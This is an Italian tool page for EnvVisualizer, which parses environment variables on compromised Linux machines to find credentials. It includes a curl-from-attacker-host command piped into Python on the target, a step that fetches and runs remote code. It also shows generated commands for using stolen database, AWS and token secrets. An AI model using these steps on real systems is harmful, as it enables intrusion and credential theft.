Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!
EnvVisualizer — Analizza e visualizza /proc/self/environ su macchine Linux compromesse — categorizza le variabili d'ambiente per stack tecnologico (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, ecc…) e genera insight con valutazione di gravità e comandi pronti all'uso | Kitploit
Analizza e visualizza /proc/self/environ su macchine Linux compromesse — categorizza le variabili d'ambiente per stack tecnologico (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, ecc…) e genera insight con valutazione di gravità e comandi pronti all'uso
Analizza, categorizza e visualizza /proc/self/environ su macchine Linux compromesse.
Trasforma un muro di testo di variabili d'ambiente fuse in intelligence strutturata e codificata a colori — in pochi secondi.
Con rich installato, ogni categoria ottiene la propria tabella codificata a colori.
Funzionalità
Tre modalità di input — leggi il file direttamente (precisione perfetta), passa via stdin, o incolla una stringa grezza
Parser intelligente a due classi — gestisce correttamente stringhe concatenate in cui i null byte sono stati rimossi dal copia-incolla; rileva variabili POSIX maiuscole e variabili note con prefisso minuscolo (npm_*, node_*, pip_*, ecc.)
Sei categorie semantiche — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System e Other
Espansione del PATH — ogni directory elencata come punto elenco invece di un muro separato da due punti
Rilevamento di segreti — segnala variabili i cui nomi o valori corrispondono a pattern di credenziali (TOKEN, KEY, SECRET, PASSWORD, ecc.) con un avviso ⚠
Pannello Pentest Insights — evidenzia automaticamente risultati actionable: contesto root, escalation sudo, porte del debugger Node.js esposte, script lifecycle attivi
Rich o plain — tabelle codificate a colori con rich installato; output plain-text pulito come fallback (zero dipendenze richieste)
Installazione
Opzione 1 — Clona ed esegui (consigliato per ambienti di pentest)
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
Opzione 2 — Installa come comando di sistema
root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
Opzione 3 — Drop di un singolo file (nessun git richiesto)
Copia envvisualizer.py sulla macchina target o dell'attaccante. Funziona con zero dipendenze:
root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
Requisiti
Dipendenza
Versione
Richiesta
Python
≥ 3.8
Sì
rich
≥ 13.0
No (fallback plain-text)
Utilizzo
root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
Modalità di input
Metodo
Comando
Precisione
Lettura diretta del file
python3 envvisualizer.py -f /proc/self/environ
✅ Perfetta (split su null-byte)
Pipe stdin
cat /proc/self/environ | python3 envvisualizer.py
✅ Perfetta (split su null-byte)
Stringa incollata
python3 envvisualizer.py -r 'USER=dev...'
✅ Buona (euristica a due classi)
Nessun argomento (demo)
python3 envvisualizer.py
✅ Perfetta (processo proprio)
Suggerimento: Preferisci -f ogni volta che hai accesso al file.
Il delimitatore null-byte nel file reale è esatto — nessuna euristica necessaria.
Esempi
Leggi direttamente da proc (massima precisione)
root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
Passa via stdin
root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py
Incolla una stringa grezza (copiata da una web shell / output RCE)
Il pannello Pentest Insights attiva rilevamenti mirati e consapevoli dello stack con quattro livelli di gravità.
I comandi pronti all'uso vengono generati al volo dai valori effettivi trovati nell'ambiente.
Gravità
Prefisso
Significato
💀 CRITICAL
[!!!]
Credenziale attiva, chiave segreta o master key — impatto immediato
⚠ HIGH
[!! ]
Token, modalità debug o servizio esposto — percorso di attacco actionable
→ MEDIUM
[! ]
Informazioni interessanti che possono agevolare l'escalation
KUBERNETES_SERVICE_HOST iniettato → segnala contesto pod, suggerisce lettura token SA
Docker
DOCKER_HOST impostato → segnala esposizione del daemon
GitHub / GitLab
Token → suggerisce comandi curl di validazione API
Heroku
HEROKU_API_KEY → segnala con nome dell'app
Stripe
sk_live_* attiva → CRITICAL; sk_test_* di test → MEDIUM
Datadog
Esempio di output (scenario multi-stack)
root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
Come Funziona il Parser di Stringhe
Quando /proc/self/environ viene copiato e incollato (ad esempio, da una web shell o dall'output di curl), i null byte vengono rimossi, fondendo variabili adiacenti:
root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
Una semplice suddivisione su WORD= produrrebbe devnpm_config_user_agent come chiave.
EnvVisualizer utilizza un rilevatore di confine a due classi che suddivide solo su:
Chiavi a dominanza maiuscola — USER, HOME, JOURNAL_STREAM, ecc.
Poiché la regex trova npm_config_user_agentall'interno del token fuso, il valore precedente viene automaticamente ridotto a dev. Nessun lookbehind, nessuna assunzione sui confini di parola — solo il pattern della chiave stessa come ancora.
Licenza
MIT — usalo liberamente, l'attribuzione è apprezzata.